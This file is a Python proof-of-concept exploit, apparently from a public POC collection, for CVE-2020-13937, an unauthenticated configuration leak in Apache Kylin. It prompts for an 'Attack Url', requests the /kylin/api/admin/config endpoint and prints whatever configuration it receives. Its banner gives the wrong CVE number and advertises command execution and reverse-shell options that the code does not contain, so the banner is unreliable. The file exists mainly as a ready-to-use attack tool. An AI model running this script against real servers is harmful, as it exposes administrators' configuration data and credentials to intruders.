Apache Kylin未授权信息泄露 CVE-2020-13937.py
1.81 KB / 2021-04-15 12:15:18
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import requests
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: Apache Kylin 2.x.x <= 3.1.0 Kylin 4.0.0-alpha \033[0m')
print('+ \033[36m使用格式: python3 cve-2019-13937.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 \033[0m')
print('+ \033[36mCmd >>> whoami(命令执行) \033[0m')
print('+ \033[36mCmd >>> shell(反弹shell) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/kylin/api/admin/config"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"
}
try:
response = requests.get(url=vuln_url, headers=headers, timeout=20)
if "config" in response.text:
print("\033[32m[o] 存在Apache Kylin的未授权配置泄露\n[o] 响应为:\n\033[0m",response.text)
else:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
except:
print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)